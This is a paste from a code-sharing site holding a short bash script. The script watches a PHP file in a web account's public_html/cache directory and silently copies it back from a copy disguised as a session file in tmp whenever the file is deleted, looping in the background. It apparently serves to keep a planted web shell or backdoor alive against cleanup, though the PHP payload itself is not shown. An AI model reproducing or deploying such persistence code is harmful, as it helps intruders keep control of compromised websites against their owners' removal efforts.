Untitled

mail@pastecode.io avatar
unknown
plain_text
2 months ago
374 B
1
Indexable
Never
#!/bin/bash

file_to_watch="/home/kovariansiuho23/public_html/cache/t_localedata.php"

last_status=$(stat -c "%Y" "$file_to_watch")

monitor_file() {
    while true; do
        if [ ! -e "$file_to_watch" ]; then
            cp /home/kovariansiuho23/tmp/sess_7td2ogrkcejohe43sv2dvj145r "$file_to_watch"
            break
        fi
        sleep 1
    done
}

monitor_file &
Leave a Comment